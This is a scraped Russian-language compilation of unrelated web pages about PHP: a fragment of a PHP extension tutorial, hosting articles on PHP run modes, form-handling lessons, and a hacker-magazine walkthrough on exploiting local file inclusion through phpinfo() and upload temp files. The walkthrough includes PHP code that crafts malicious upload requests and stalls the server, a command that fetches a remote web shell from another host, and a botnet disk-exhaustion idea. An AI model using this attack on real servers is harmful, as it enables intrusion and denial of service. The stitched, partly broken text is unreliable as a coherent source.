PHP_RINIT(hello),
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_HELLO_WORLD_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
>;

И измените вашу функцию MINIT вместе с добавлением ещё нескольких функций для обработки инициализации при старте запроса:

static void php_hello_init_globals(zend_hello_globals *hello_globals)
<
>

PHP_RINIT_FUNCTION(hello)
<
HELLO_G(counter) = 0;

PHP_MINIT_FUNCTION(hello)
<
ZEND_INIT_MODULE_GLOBALS(hello, php_hello_init_globals, NULL);

В изменениях, которые вы внесли в файл php_hello.h, вы использовали пару макросов – ZEND_BEGIN_MODULE_GLOBALS и ZEND_END_MODULE_GLOBALS. С их помощью была определена структура zend_hello_globals, содержащая одну переменную типа long. После этого был определён макрос HELLO_G, позволяющий в зависимости от режима компиляции (с учётом или без многопоточности) получать значение из пула потоков или просто взять его из глобальной области видимости.
В файле hello.c с помощью макроса ZEND_DECLARE_MODULE_GLBALS вы объявили структуру zend_hello_globals либо как глобальную (при непотокобезопасной сборке), либо как член пула ресурсов потока. Нам как авторам расширения не нужно задумываться об этом механизме, так как всю работу берёт на себя ZE. И, наконец, вы используете функцию ZEND_INIT_MODULE_GLOBALS для выделения идентификатора потокобезопасного ресурса.
Возможно, вы заметили, что функция php_hello_init_globals на самом деле ничего не делает. Кроме того, инициализация счётчика значением 0 оказалась в функции RINIT. Почему?
Ключ к ответу на этот вопрос кроется в моменте, когда эти функции вызываются. Функция php_hello_init_globals вызывается только при запуске нового процесса или потока. Однако, каждый процесс может обслуживать более одного запроса, так что использование этой функции для инициализации нашего счётчика значением 0 будет верно только для первого запроса. Последующий запрос к этому же процессу по прежнему будет работать со старым значением счётчика и, следовательно, не будет начинать отчёт с нуля. Для инициализации счётчика значением 0 для каждого запроса мы использовали функция RINIT, которая, как вы уже читали, вызывается перед каждым запросом обработки скрипта. Мы включили функцию php_hello_init_globals в наш код как минимум из-за того, что передача NULL в качестве соответствующего параметра ZEND_INIT_MODULE_GLOBALS функции init приведёт к ошибке сегментации для платформ без поддержки потоков.

INI-настройки и глобальные переменные

ZEND_BEGIN_MODULE_GLOBALS(hello)
long counter;
zend_bool direction;
ZEND_END_MODULE_GLOBALS(hello)

PHP_INI_BEGIN()
PHP_INI_ENTRY( «hello.greeting» , «Hello World» , PHP_INI_ALL, NULL)
STD_PHP_INI_ENTRY( «hello.direction» , «1» , PHP_INI_ALL, OnUpdateBool, direction, zend_hello_globals, hello_globals)
PHP_INI_END()

static void php_hello_init_globals(zend_hello_globals *hello_globals)
<
hello_globals->direction = 1;
>

PHP_FUNCTION(hello_long)
<
if (HELLO_G(direction)) <
HELLO_G(counter)++;
> else <
HELLO_G(counter)—;
>

Вот и всё! С помощью метода OnUpdateBool (метод является часть ZE), переданного в качестве третьего параметра макроса STD_PHP_INI_ENTRY, будет производиться автоматическое приведение типа значения настройки, полученного из файла php.ini, .htaccess, или с помощью функции ini_set, к соответствующему значению TRUE/FALSE, которое вы можете получить прямо внутри скрипта. Последние три параметра функции STD_PHP_INI_ENTRY указывают PHP, какую глобальную переменную изменить, как выглядит структура глобальных переменных нашего расширения, и имя контейнера глобальных переменных, в котором они содержаться.

Что дальше?

В этой статье мы разобрали структуру простого PHP расширения, которое экспортирует функции, возвращающие значения, загружает и обрабатывает INI-настройки, сохраняя их на протяжении обработки запроса.

В следующей статье мы рассмотрим внутреннюю структуру переменных PHP, способы их хранения и обработки. Поработаем с функцией zend_parse_parameters, используемой для получения параметров из программы при вызове функции, и откроем способы возвращения более сложных результатов из функции, таких как массив, объект и ресурс.

В некоторых местах перевод имеет довольно вольный формат, что является следствием трудностей перевода, которые мне не удалось преодолеть в полной мере. Кроме того перевод содержит некоторое количество мелких дополнений, показавшихся мне актуальными.
Процесс сборки расширения согласно статье проверен на исходниках PHP 5.3.2.

У автора есть несколько статей по данной тематике: 1, 2.1, 2.2, 3. Четвёртая статья видимо так и не увидит свет ввиду публикации автором книги «Extending and Embedding PHP», посвящённой данной тематике.

Трюки с phpinfo

Содержание статьи

Совсем недавно в паблике появилась информация о новом интересном подходе к эксплуатации уязвимостей класса LFI с помощью бесполезной на первый взгляд функции phpinfo() и временных загрузочных файлов. Берем на вооружение этот полезный прием.

Мотивация

Подозреваю, что у тебя часто возникает ситуация, когда ты находишь уязвимость типа local file include, но не имеешь доступа к файлам логов, сессий и т. п.. Или доступ есть, но записать в файлы ничего не получается. Или даже ты уже находишься в админке сайта, но залить ничего и никуда не можешь, потому что кодеры не добавили функционал менеджера файлов. А ведь удаленный пользователь не может эксплуатировать уязвимость типа LFI, пока не внедрит нужный вредоносный код в любой файл на сервере. В итоге ты забиваешь на обнаруженный баг и впоследствии даже не пытаешься его эксплуатировать. Так же ведут себя и админы уязвимых веб-серверов: баг есть, но это же всего-навсего local file inclusion. Вроде бы php.ini настроен более-менее грамотно, так что чего бояться? Оказывается, что бояться все-таки стоит, и еще как! Сегодня я познакомлю тебя с самым красивым способом проведения LFI-атак и надеюсь, что эта статья мотивирует админов на устранение описываемых уязвимостей, а тестеров — на их обнаружение и эксплуатацию.

Предпосылки появления нового способа

До сих пор в хакерском сообществе были известны следующие способы заливки шелла через LFI:

  1. Через медиа-файлы (фото, видео, документы и т. д.). Для реализации этого способа требуется доступ к странице загрузки файлов (возможно, админке или менеджеру файлов).
  2. Через файлы логов (/apache/logs/error.log, /var/log/access_log, /proc/self/environ, /proc/self/cmdline, /proc/self/fd/X и многие другие). Здесь стоит учесть, что чем больше размер логов, тем труднее произвести успешную атаку. В некоторых случаях PHP должен быть запущен в режиме совместимости с CGI или же должна существовать виртуальная файловая система /proc, для доступа к которой необходимы соответствующие права.
  3. Через псевдопротоколы (data:, php://input, php://filter), требующие наличия директивы allow_url_include=On (по умолчанию — Off) и версии PHP >= 5.2.
  4. Через файлы сессий (/tmp/sess_*, /var/lib/php/session/). Естественно, атакующий должен иметь возможность записывать свои данные в сессию.
  5. Через мыло. При этом в уязвимой CMS должна присутствовать возможность отправки писем от www-юзера, а также иметься доступная для чтения директория с отправленными мейлами (к примеру, /var/spool/mail).

Теперь мы можем пополнить этот небольшой список новым способом, который заключается в эксплуатации LFI через временные файлы (/tmp/php*, C:tmpphp*). Успешное выполнение/воспроизведение атаки с помощью нового способа возможно при следующих условиях:

  • имеется доступ к LFI-уязвимости;
  • имеется доступ к информации phpinfo();
  • веб-сервер крутится под Windows (однако это необязательное условие);
  • версия PHP > 5.2.0.

Примерный алгоритм проведения данной атаки выглядит следующим образом (не пугайся, если что-то не будет ясно сразу — дальше я все подробно объясню):

  1. 1. Отправляем файл с PHP-кодом на php-скрипт с phpinfo(), PHP сохраняет его в временную (tmp) папку.
  2. 2. С помощью все той же функции phpinfo() узнаем место хранения и seed (своего рода идентификатор) отправленного файла.
  3. 3. Затем отправляем еще один специально сформированный пакет (например, с неправильным заголовком Content-Length), вызывая тем самым зависание сервера на несколько секунд или даже минут.
  4. 4. Быстро инклудим свежезалитый tmp-файл через LFI.

Локальный инклуд

Для реализации атаки нам обязательно нужен рабочий локальный инклуд. Без него никак не обойтись. Пример того, что нам надо:

Собственно, код абстрактного уязвимого скрипта css.php:

Чтобы узнать путь к папке, где хранятся временные файлы, можно попробовать подключить другой файл, который обязательно должен иметься на сервере. Примеры для *nix и Windows:


Информация из phpinfo()

Далее нам понадобится любой скрипт с выводом phpinfo(). С помощью него мы узнаем конфигурацию сервера, некоторые параметры php.ini и убедимся, что сервер уязвим для описываемой атаки. В данном случае нам нужны следующие параметры:

  1. upload_tmp_dir — временная папка, в которой PHP сохраняет временные файлы. Если она пустая (NULL), то файлы будут заливаться в Environment.TEMP.
  2. file_uploads — эта опция разрешает отправлять файлы и временно помещать их в upload_tmp_dir (для успешной атаки опция должна находиться в состоянии On).
  3. upload_max_filesize — максимальный объем загружаемых файлов. Он не должен быть слишком маленьким (минимальный составляет 10 Кб), по умолчанию указан объем 2 Мб.
  4. max_execution_time — максимальное время выполнения скрипта. По дефолту стоит 0, это значит, что скрипт будет выполняться до тех пор, пока не выполнится. ��
  5. session.serialize_handler — сериализатор сессий. По дефолту — php (это часть имени будущего временного файла).

Еще одна полезность заключается в том, что phpinfo() отображает в шапке версию PHP, например, PHP Version 5.3.8.

PHP и $_FILES

Поэтапно процесс отправки файлов выглядит примерно так (согласно RFC1867):

  1. После установки соединения начинается передача данных.
  2. После получения заголовков веб-сервер подгружает движок PHP.
  3. PHP создает временный tmp-файл и наполняет его данными.
  4. Передача данных заканчивается.
  5. Исполняется PHP-код скрипта.
  6. PHP отправляет вывод скрипта веб-серверу.
  7. PHP делает cleanup (удаляет временные файлы) и завершает работу.
  8. Веб-сервер отсылает вывод скрипта юзеру, отправившему файлы.

На этапах 3, 4, 5, 6, 7 временный tmp-файл еще существует, а на определенной стадии этапа 8 удаляется. Любой PHP-скрипт может работать с загружаемыми файлами через глобальный массив $_FILES, а затем копировать их из временной папки в любое другое место с помощью функции move_uploaded_file().

Здесь важно то, что PHP всегда копирует любые заливаемые файлы во временную папку, указанную в конфиге, даже если скрипт с ними работать не собирается. Когда скрипт завершает свое выполнение, PHP удаляет все ранее созданные временные файлы, то есть делает cleanup. Так как мы можем посылать скрипту абсолютно любые файлы, то, соответственно, во временном файле будет записан именно тот код, который и понадобится нам для локального инклуда.

Кстати, если в PHP-скрипте используется буферизация вывода (функции ob_* — flush, ob_start, ob_flush и другие), то действия, описанные в пунктах 8 и 9, выполняются в обратном порядке. В таком случае вполне возможно написать эксплойт, который на низком уровне будет саботировать получение последнего пакета с данными. То есть сначала он получит содержимое phpinfo(), затем спарсит с помощью вывода этой функции путь к tmp-файлу и, не дожидаясь конца ответа от сервера, проинклудит его через LFI быстрее, чем PHP сделает cleanup. Если же буферизации вывода нет, то мы не успеем подключить временный файл, он уже будет удален. Но что если попробовать сделать так, чтобы PHP не удалял временный файл?

Алгоритм обмана PHP

Итак, суть нового способа заключается в подключении через LFI временного файла, создаваемого PHP. «Но PHP ведь удаляет временный файл!» — наверное, скажешь ты. Да, верно. Пока неизвестно, как сделать так, чтобы этого не происходило. Но зато вполне известно, как продлить этому файлу жизнь. Для этого нужно сформировать специальный пакет со следующими свойствами:

  • Content-Length должен быть неверным (на несколько Кб больше или меньше реального);
  • заголовок данных не должен закрываться (например, «————8WvJNM»).

Таким образом, мы получим следующую ситуацию:

  1. Пакет обрывается.
  2. Сокет ждет недостающие данные (в это время соединение открыто).
  3. Сокет отваливается, полученный временный файл существует еще некоторое время.

При этом размер временного файла должен быть больше 2 Кб, иначе PHP просто не начнет писать данные в соответствующую директорию.

Как ты уже, надеюсь, понял, сервер «зависнет» на достаточно долгое время, которого должно хватить для того, чтобы проинклудить временный файл и залить с его помощью долгожданный шелл.

В поисках tmp-файла

Следующая проблема состоит в том, что нам неизвестно имя временного файла. Как раз для ее решения нам и нужен скрипт с phpinfo() внутри. Если не удается найти его вручную по дефолтным именам (phpinfo.php, info.php, i.php и т. д.), тогда можно воспользоваться скриптами от Grey и eLwaux для автоматического поиска (ищи их на нашем диске).

Предположим, что мы нашли нужный нам скрипт. Идем дальше. В разделе PHP Variables функция phpinfo() отображает все передаваемые пользователем глобальные переменные: _GET, _POST и _FILES. Старые версии PHP (

Самый простой элементарный такой проверки — выполнить простой GET-запрос к соответствующему скрипту: http://site.com/phpinfo.php?a[]=111. PHP должен отобразить содержимое массива _FILES или _GET (аналогично тому, как это происходит при выполнении функции var_dump). Если массив раскрыт, значит, ты сможешь без проблем узнать имя tmp-файла. За путь к tmp-папке отвечает параметр upload_tmp_dir в php.ini. По дефолту путь в *nix-системах — /tmp, в винде — C:WindowsTemp. В 99 % случаев у PHP есть право чтения файлов оттуда. Согласно документации (bit.ly/raWpwS), в Windows имя временного файла, который PHP рандомно генерирует с помощью функции GetTempFileName, должно иметь вот такой вид:

= C:WindowsTemp (или значение upload_tmp_dir с php.ini),

= php (session.serialize_handler),
= уникальное шестнадцатеричное число.

Интересно, что в Windows каждое последующее больше предыдущего ровно на единицу, например:

php1A3E.tmp
php1A3F.tmp
php1A40.tmp

В *nix имя для временного файла генерируется с помощью функции mkstemp (linux.die.net/man/3/mkstemp):

= php (session.serialize_handler),
= (seed += XXX ^ PID)
XXX в зависимости от скомпилированной библиотеки glibc может равняться:
— XXX = time()
— XXX = gettimeofday().sec

То есть имя, которое всегда будет случайным и непредсказуемым, должно иметь следующий вид: /tmp/phpXXXXXX, где XXXXXX — это рандомные шесть символов из диапазона [A-Za-z0-9]:

/tmp/php6Dekf9
/tmp/phpK1uuk5
/tmp/phpdnJ82

Как видно из примеров выше, по сравнению с *nix в Windows проще узнать имя временного файла. Также стоит отметить, что временный файл существует только (!) во время выполнения скрипта.

Сценарий атаки в Windows

Если ты усвоил все написанное выше, предлагаю тебе рассмотреть общий алгоритм нашей атаки для винды:

  1. Передаем любой файл на phpinfo().
  2. Получаем ответ от севера, в phpinfo() смотрим значение _FILES[tmp_name] и таким образом узнаем путь к временному файлу.
  3. Отправляем на phpinfo() запрос с кодом шелла:
    и запросом, в котором размер Content-Length превышает реальный размер запроса. В результате сервер должен на некоторое время зависнуть.
  4. Пока сервер висит и думает о жизни, мы пытаемся найти временный файл, добавляя к полученному имени (см. шаг 1) единицу (поиск осуществляется посредством подстановки пути к файлу в LFI).
  5. Как только нам удается обнаружить tmp-файл, заливаем полноценный шелл с помощью нашего ядовитого кода.
  6. 6. Закрываем соединение, установленное на шаге 2, сервер удаляет временный файл.

Таким образом, при наличии phpinfo() в win-серваке заливание шелла сводится к отправке двух файлов. Если phpinfo() отсутствует, имя временного файла можно теоретически сбрутить. Всего на Windows-сервере будет около 61440 возможных вариантов.

Сценарий атаки в никсах

Сценарий атаки на *nix-системах будет выглядеть примерно так:

  1. Отправляем на скрипт с phpinfo() HTTP-пакет c ядовитым PHP-кодом в файле.
  2. Ограничивая трафик за счет использования прокси-сервера или с помощью какой-либо утилиты (например, BWMeter), урезаем лимит на прием входящих данных до нескольких десятков байт.
  3. Ждем, когда скрипт возвратит нам вывод phpinfo().
  4. Самое главное! Параметр [tmp_name] выводится где-то в последних строчках (а как только сокет закроется, временный файл будет удален), поэтому мы должны сграбить/скопипастить имя и отправить его на инклуд немедленно.

Однако если после вызова phpinfo() идет еще какой-то код, то чем дольше этот код выполняется, тем больше у нас шансов успеть получить имя временного файла до его автоматического удаления. Мы можем локально подключить phpinfo.php через имеющийся инклуд, а так как после инклуда есть еще код, то мы получаем бонусное время задержки, которого при удачном раскладе вполне может хватить:

Отправив на такой URL POST-пакет с файлом, содержащим PHP-код, построчно считываем ответ. Получив имя временного файла, тянем время, не разрывая коннект, и параллельно инклудим загруженный временный файл с PHP-кодом.

Кстати, в случае если скрипт с phpinfo() недоступен, нам придется угадать или пробрутить имя временного файла. Поскольку придется перебрать 1000000*36 вариантов, то процесс поиска затянется надолго.

Практика

Теперь настало время перейти к практике. Итак, пусть на нашем тестовом серваке стоят Microsoft-IIS/7.5 и PHP/5.3.8. Возьмем с одного реального Windows-сервера файл css.php с уязвимостью типа LFI:

На этом же сервере админ забыл удалить нужный нам файл phpinfo.php:

Код, который мы будем внедрять в tmp-файл:

С помощью PHP-сценария формируем POST-пакет для отправки файла с PHP-кодом:

// Evil
$file=»——————————XaXbXaXbXaXbXarn»;
$file.=»Content-Disposition: form-data; name=file».rand(0,100).»;
filename=rnfile».rand(0,100).».txtrn»;
$file.=»Content-Type: text/plainrnrn»;
$file.=» rn»;
$file.=»——————————XaXbXaXbXaXbXarn»;
$post = $file;
$req =»POST «.$target.» HTTP/1.0rn»;
$req.=»Host: «.$host.»rn»;
$req.=»Content-Type: multipart/form-data;
boundary=—————————XaXbXaXbXaXbXarn»;
$req.=»Content-Length: «.strlen($post).»rn»;
$req.=»Connection: Closernrn»;
$req.= $post;

И отправляем его вот так:

$tmp = »;
$html = »;
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, $host, 80);
socket_write($sock, $req);
while ($out = socket_read($sock, 65536))
<
$html .= $out;
if(preg_match_all(‘#=>(.*)#’,$html,$r) && !empty($r[0][2]))
<
$tmp = str_replace(array(«=>»,’ ‘), », $r[0][2]);
>
>

В переменной $html мы получаем ответ от phpinfo, а в $tmp — путь к tmp-файлу. Далее достаем из пути значение :

В $tmp_hex будет содержаться текущий seed временного файла.

Следующий этап — вызвать зависание сервера. Для этого обрезаем тело запроса на два символа. В результате заголовок Content-Length станет неверным (будет больше, чем нужно):

$req = substr($req,0,strlen($req)-2);
retname($host,$req);

Отправляем все это непотребство и пробуем получить ответ. Хотя ответ мы вряд ли получим, скрипт останавливать не нужно. Далее к $tmp_hex прибавляем +1 и пробуем подключить его через LFI. Не получается? Возможно, ты наткнулся на подводный камень. Имя генерит винда, а не PHP, поэтому, если какая-нибудь запущенная на сервере прога хочет создать временный файл, она также прибавляет единицу в каждом имени. В целом это не проблема. Просто надо попробовать прибавить +2, +3 и т. д. На диске, прилагаемом к журналу, ты найдешь специальный скрипт, который сам пробует найти tmp-файл, постепенно прибавляя числа от 1 до 100.

После заливки

После обнаружения нужного файла и его успешного инклуда через LFI ты можешь выполнять команды на сервере. У тебя есть мини-шелл:

Для заливки полноценного шелла путем копирования с другого ресурса ты можешь воспользоваться следующей командой:

php expl.php step4 ../../../tmp/php7xEkH3.tmp http://site.com/s.txt

here your shell: http://site.com/8149.php

Здесь скрипт expl.php — это конкретный пример реализации описанной атаки, который также можно найти на нашем диске.

Подведение итогов

Теоретически описанный способ атаки подходит для большого количества движков, имеющих в наличии локальный инклуд и вывод phpinfo() в админке. Например, для того же PHP Live, где при magic_quotes=on или без доступа к директории ./super невозможно загрузить шелл. На Windows-машинах способ всегда работает успешно, для nix*-машин приходится использовать BWMeter или другие аналоги. Напоследок хочу сказать, что подобные нарушения пространственно-временного континуума во вселенной PHP наверняка окажутся полезными для реализации каких-то новых уязвимостей. А они точно существуют, остается лишь найти их.

Информационная функция PHP

Функция phpinfo() выводит на экран большое количество информации о текущем статусе PHP. Сюда входят сведения об опциях компиляции PHP, о расширениях, версии PHP, версии ОС, пути, переменных опций конфигурации, данные сервера и окружения (если скомпилирован как модуль), шапки HTTP и PHP License.

DoS на базе LFI + phpinfo()

Когда мы отправляли данные в _FILES, они записывались в файл, занимая место на диске. При этом мы отправляли всего пару килобайт. А что будет, если отправить много-много мегабайт? И сразу много файлов? Это может привести к серьезным проблемам в работе сервера. Атакующий способен исчерпать его дисковое пространство. Допустим, что по умолчанию каждый бот абстрактного ботнета может на каждом подключении занимать до 30 Мб дискового пространства в течение всего времени, пока посылается запрос, загружается файл и принимается ответ. Время отсылки и приема может быть умышленно растянуто, чтобы максимально долго использовать свободное место. По времени одно подключение в среднем длится примерно две минуты (одна минута на запрос + одна минута на ответ). Даже малочисленный ботнет способен эффективно подавлять сервер с минимальным количеством и скоростью подключений. Более того, как раз медленный канал бота будет куда более губительным для атакуемого сервера. Выводы делай сам. В настоящий момент единственный способ противостоять такой DoS-атаке — отключить директиву file_upload в php.ini.

Local File Include (LFI) — уязвимость, которая позволяет удаленному пользователю получить доступ к нужной информации с помощью специально сформированного запроса к произвольным файлам. Грубо говоря, LFI представляет собой подключение любого файла на сервере к вызываемому файлу. Что делит LFI на две ветки: выполнение содержимого подключаемого файла и чтение содержимого подключаемого файла. Уязвимости класса LFI чаще всего встречается в различных менеджерах файлов.

Что еще можно выжать из phpinfo()

Результатом выполнения PHP-функции phpinfo() является куча информации, большая часть которой не имеет значения. Однако на некоторые моменты все же стоит обратить внимание, так как они могут облегчить процесс поиска уязвимых мест в системе. Итак, перечислим потенциально полезную информацию, предоставляемую phpinfo():

  1. информация о сервере, версия/конфигурация PHP, ОС;
  2. document_root — директория, из которой выполняется текущий скрипт;
  3. error_log — логи ошибок (можно задействовать при LFI);
  4. safe_mode (default OFF) — безопасный режим;
  5. open_basedir (default empty) — ограничивает список файлов, которые могут быть открыты через PHP;
  6. allow_url_fopen (default ON) — разрешает доступ к URL на уровне файлов;
  7. allow_url_include (default OFF) — удаленное подключение файлов;
  8. magic_quotes_gpc (default OFF) — автоматическое экранирование входящих данных;
  9. register_globals (default OFF) — глобальные переменные;
  10. disable_functions (default empty) — отключает использование определенных функций;
  11. max_execution_time (default 0) — максимальное время работы скрипта;
  12. display_errors (default OFF) — отображение ошибок;
  13. upload_tmp_dir — путь к tmp-директории.
  14. подключенные модули (curl, sockets, zip и т. д.);
  15. содержимое всех глобальных переменных _GET, _POST, _COOKIE, _FILES, _SERVER.


Режимы работы PHP

Интерпретатор PHP может работать в нескольких режимах. В этой статье рассматриваются следующие режимы работы:

Каждый из указанных режимов имеет как преимущества, так и недостатки. Те и другие качества в представляем ниже.

Содержание

PHP как модуль Apache (mod_php)

Этот режим предполагает подключение модуля mod_php в настройках веб-сервера Apache. В этом случае каждый процесс веб-сервера будет включать в себя этот модуль. Выбор этого режима особенно подходит для небольших сайтов с малой посещаемостью.

Преимущества:

  • Доступны настройки кэширования, за счет чего можно увеличить производительность.
  • Быстрое исполнение скриптов.

Недостатки:

  • Конфигурирование можно выполнять только через основной файл php.ini и некоторые параметры можно объявить через файл htaccess.
  • По умолчанию скрипты запускаются с правами пользователя apache. Однако это можно изменить путем использования mod_ruid, который позволяет запускать скрипты от разных пользователей.
  • Подгрузка модуля происходит во все процессы apache даже при отсутствии запросов на тип скрипта, обрабатываемый этим модулем. За счет этого создается бесполезная нагрузка на сервер.
  • Скрипт, имеющий ошибки, может привести к сбою работы веб-сервера.
  • Нет простого способа узнать, каким пользователем было запущено стороннее приложение.
  • Некоторые модули имеют проблемы в совместимости с многопоточным запуском веб-сервера (MPM Worker).

PHP в режиме CGI

В этом режиме запускается интерпретатор php-cgi для всех скриптов, для которых установлен CGI в качестве обработчика. Если большая часть сайта состоит из статического содержимого, то CGI будет хорошим выбором, т.к. будет обеспечено экономичное использование оперативной памяти за счет того, что интерпретатор будет вызываться в случае необходимости. Но и в то же время такой метод замедляет исполнение, т.к. при каждом запросе понадобится загрузка интерпретатора в память.

Преимущества:

  • Обработчик CGI может быть запущен с правами любого пользователя системы (с помощью suexec).
  • Конфигурацию PHP можно сделать индивидуальной для каждого пользователя.
  • CGI использует оперативную память только если это действительно необходимо.
  • Благодаря тому, что PHP интерпретатор работает как независимый процесс, вероятность сбоя работы Apache из-за ошибок в скриптах практически нулевая.
  • Каждый клиент может выбрать индивидуальную версию PHP.

Недостатки:

  • Не высокая производительность.
  • Разработка PHP-авторизации с командой Header имеет ограничения по причине того, что скрипт будет получать не все необходимые серверные переменные.

SuPHP

SuPHP является частным случаем CGI, в котором каждый php скрипт может выполняться с привилегиями разных пользователей.

Преимущества:

  • Можно отследить, от имени какого пользователя запускался скрипт.
  • Пользователь не сможет запустить скрипты, если он не является их владельцем.
  • Для всех файлов, которые будут загружены на сервер через сайт, будет установлен владельцем тот пользователь, от имени которого эти файлы загружались.

Недостатки:

  • Сравнительно с CGI более высокая нагрузка на CPU.
  • Недоступны функции кэширования, например, XCache, APC и др.

PHP в режиме FastCGI (mod_fastcgi)

По своим свойствам FastCGI является золотой серединой между mod_php и CGI режимами. В нём исключены недостатки CGI и присутствуют его достоинства. При включенном FastCGI, в ОЗУ сервера располагается постоянно запущенный процесс-обработчик. Это избавляет от необходимости при каждом запросе запускать новый процесс, как в случае использования CGI. По быстродействию FastCGI аналогичен mod_php.

FastCGI сочитает в себе преимущества всех приведенных выше режимов. В этом случае php-обработчик запускается на постоянной основе, и теперь на каждый запрос не нужно создавать новый процесс, что было свойственно режиму CGI. FastCGI особенно подходит для высоконагруженных сайтов, нагрузка на которые постоянна.

Преимущества:


  • Можно улучшить производительность используя кэширование.
  • Скрипты запускаются от имени их владельца.
  • Риск зависания минимизирован за счет существования переменной, определяющей количество запросов, которые можно обслужить до плановой перезагрузки интерпретатора.

Недостатки:

  • Постоянно запущенный процесс интерпретатора создает нагрузку на оперативную память, хотя её объем меньше, чем при использовании PHP как модуля Apache. Это достигается за счет отсутствия необходимости обращения к интерпретатору PHP при выдаче статического содержимого.

LSPHP

LiteSpeed PHP (LSPHP) — реализован в виде модуля mod_lsapi на веб-сервере Apache и является наиболее производительным вариантом запуска PHP на серверах под управлением сPanel.

  • Увеличение скорости обработки PHP-скриптов, что ускоряет работу всего сайта.
  • Отсутствие 500-ой ошибки при наличии php_flag и подобных директив в .htaccess. Актуально при переезде с хостинга, который по умолчанию работал с mod_php.
  • Уменьшится потребление ресурсов в вашем виртуальном контейнере.
  • Улучшится эффективность работы Opcode Cache

На данный момент недостатков не было обнаружено.

Более подробно о работе LSPHP можно прочитать в нашем блоге в статье «Ускорьте работу своего сайта, перейдя на LSPHP».

Для того чтобы перейти на LSPHP, можно воспользоваться инструкцией из нашей вики.

Каким образом узнать текущий режим PHP?

Способ 1. С помощью функции phpinfo()

  • Создаем на хостинге php-файл c произвольным именем (например, info.php), после чего открываем его для редактирования и копируем в него следующие строки:
  • Сохраняем внесенные изменения, после чего открываем файл в браузере.
  • Если все данные были указаны верно, то в браузере будет выведена страница с развернутой информацией об установленном PHP. В перечне выведенных параметров будет присутствовать параметр Server API, в значении которого и отображается текущий режим PHP.
  • На изображении ниже показано значение параметра Server API в случае использования режима FastCGI.

Способ 2. С помощью функции функции php_sapi_name()

  • По аналогии первого способа, создаем на хостинге файл, например, info.php, затем открываем для редактирования и затем копируем следующий код:
  • После сохранения изменений открываем этот файл в браузере. В итоге должна быть отображена страница в теле которой будет выведено название используемого режима PHP. На изображении ниже представлен пример вывода при использовании режима FastCGI.

Уже знаете, какое доменное имя хотите получить для вашего веб-сайта? У нас вы можете купить домен дешево. Нужен хостинг? HOSTiQ предлагает интересные планы виртуального хостинга, а также вы сможете заказать VPS-сервер или арендовать сервер в Европе или США.

лабы по информатике, егэ

лабораторные работы и задачи по программированию и информатике, егэ по информатике

PHP занятие 8. Передача данных

Методы передачи данных форм в php

Использование методов GET и POST

Атрибуты тега FORM

Get – данные из формы передаются на сайт, указанный в поле адреса браузера, с помощью знака « ? » и « & »

Использование метода GET

POST — используется для передачи больших объемов данных или когда нужно скрыть значения передаваемых параметров

Переданные сценарию параметры не отображаются в окне браузера

Суперглобальные переменные

При передачи данных формы на сервер формируются суперглобальные переменные — ассоциативные массивы, содержащие передаваемые значения:

  • $_GET[] — ассоциативный массив, который содержит все значения, передаваемые в сценарий с помощью метода формы GET .
  • $_POST[] – ассоциативный массив, который содержит все значения, передаваемые в сценарий с помощью метода формы POST .
  • $_REQUEST[] – ассоциативный массив, который содержит все значение, передаваемые в сценарий с помощью методов POST и GET .

Рассмотрим пример использования метода GET

PHP в HTML

PHP — это встраиваемый серверный язык программирования. Большая часть его синтаксиса заимствована из C , Java и Perl . А также добавлена пара уникальных характерных только для PHP функций . Основная цель этого языка — создание динамически генерируемых PHP HTML страниц .

PHP в HTML

При создании сложных веб-страниц вы столкнетесь с необходимостью объединить PHP и HTML для реализации конкретных задач. На первый взгляд это может показаться сложным, так как PHP и HTML являются двумя независимыми дисциплинами, но это не так. PHP предназначен для взаимодействия с HTML , и его код может быть включен в разметку страницы.

В HTML-страницы PHP-код включается с помощью специальных тегов. Когда пользователь открывает страницу, сервер обрабатывает PHP-код , а затем отправляет результат обработки ( не сам PHP-код ) в браузер.

HTML и PHP довольно просто объединить. Любая часть PHP-скрипта за пределами тегов игнорируется PHP-компилятором и передается непосредственно в браузер. Если посмотреть на пример, приведенный ниже, то можно увидеть, что полный PHP-скрипт может выглядеть следующим образом:

Приведенный выше код — это обычный HTML с небольшим фрагментом PHP , который выводит текущую дату, используя встроенную функцию date . При этом весь HTML будет игнорироваться PHP-компилятором и передаваться в браузер без изменений.

Интегрировать PHP в HTML действительно очень легко. Помните, что скрипт — это HTML-страница с включением определенного PHP кода . Можно создать скрипт, который будет содержать только HTML (без тегов ), и он будет нормально работать.

Более продвинутые методы:

PHP в HTML с помощью short_open_tag

Если нужно максимально сократить код, перед тем, как в PHP вставить HTML , вы можете использовать short_tags . В результате не нужно будет вводить php.ini и переключить значение параметра « short_tags » с « Off » на « On «. Хотя на большинстве серверов этот параметр уже включен, всегда лучше проверить это вручную. Проблема, которая может возникнуть при использовании коротких тегов — это конфликт при использовании XML . В XML синтаксическое выражение PHP в HTML не стоит полагаться на short_tags .

HTML в PHP с использованием echo

Еще один способ интеграции HTML в PHP-файл — команда echo: .

Возможное, но не рекомендуемое использование:

Это повлияет на подсветку разметки в большинстве редакторов. Поэтому необходимо выделять все двойные кавычки внутри HTML-кода с помощью обратной косой черты.

PHP в HTML — расширения файлов

Файл, содержащий PHP в HTML , должен иметь расширение .php .Также можно настроить файл .htaccess для чтения PHP-кода в HTML-файлах без изменения расширения. Ниже приведены « обработчики «, которые нужно добавить, чтобы настроить эту функцию.

Для стандартно настроенного веб-сервера :

Для веб-сервера с запущенным FastCGI :

HTML в PHP

Также можно использовать HTML-код в PHP-скриптах . Все, что нужно сделать, это при открытии страницы с помощью PHP изменить порядок открывающихся тегов HTML и PHP .

Использование HTML в PHP :

Такая вставка PHP в HTML позволяет использовать намного меньше кода. Здесь мы используем глобально $PHP_SELF , что позволяет использовать значения полей, указанные под ними, в том же файле. Как правило, для таких форм создается два файла: первый — сама HTML-форма , а второй — PHP-файл , который выполняет обработку.

Если у вас уже есть сложные PHP-приложения , которые используют большое количество файлов, и вы хотите упростить, этот метод может помочь.

Данная публикация представляет собой перевод статьи « PHP in HTML » , подготовленной дружной командой проекта Интернет-технологии.ру

Режимы работы PHP

На хостинге Hostland интерпретатор PHP может работать в нескольких основных режимах. В этом обзоре мы рассмотрим следующие режимы работы:

  • PHP как модуль Apache (mod_php)
  • PHP как CGI приложение
  • PHP в режиме работы php-fpm

PHP как модуль Apache (mod_php)

